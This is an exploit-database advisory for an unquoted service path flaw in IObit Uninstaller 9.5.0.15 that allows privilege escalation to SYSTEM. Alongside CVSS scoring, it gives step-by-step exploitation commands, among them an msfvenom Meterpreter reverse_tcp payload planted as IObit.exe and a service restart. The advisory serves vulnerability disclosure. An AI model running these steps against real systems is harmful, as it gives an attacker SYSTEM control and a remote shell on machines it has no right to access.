Exploitalert - Database of Exploits

IObit Uninstaller 9.5.0.15 IObit Uninstaller Service Unquoted Service Path

CVE	Category	Price	Severity
CVE-2020-14350	CWE-428	$5,000	High

Author	Risk	Exploitation Type	Date
Mat Powell	High	Local	2020-06-05

CPE
cpe:cpe:/a:iobit:iobit_uninstaller:9.5.0.15

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H	0.11354	0.78565

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020060019

IObit Uninstaller 9.5.0.15 IObit Uninstaller Service Unquoted Service Path

# Title: IObit Uninstaller 9.5.0.15 - 'IObit Uninstaller Service' Unquoted Service Path # Author: Gobinathan L # Date: 2020-06-03 # Vendor Homepage: https://www.iobit.com # Software Link: https://www.iobit.com/en/advanceduninstaller.php # Version : 9.5.0.15 # Tested on: Windows 10 64bit(EN) About Unquoted Service Path : ============================== When a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges. (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is). Steps to recreate : ============================= 1. Open CMD and Check for USP vulnerability by typing [ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ] 2. The Vulnerable Service would Show up. 3. Check the Service Permissions by typing [ sc qc IObitUnSvr ] 4. The command would return.. C:\>sc qc IObitUnSvr [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IObitUnSvr TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IObit Uninstaller Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem 5. This concludes that the service is running as SYSTEM. "Highest privilege in a machine" 6. Now create a Payload with msfvenom or other tools and name it to IObit.exe 7. Make sure you have write Permissions to "C:\Program Files (x86)\IObit" directory. 8. Provided that you have right permissions, Drop the IObit.exe executable you created into the "C:\Program Files (x86)\IObit" Directory. 9. Now restart the IObit Uninstaller service by giving coommand [ sc stop IObitUnSvr ] followed by [ sc start IObitUnSvr ] 10. If your payload is created with msfvenom, quickly migrate to a different process. [Any process since you have the SYSTEM Privilege]. During my testing : Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o IObit.exe Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a different Process] # Disclaimer : ========================= The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere.

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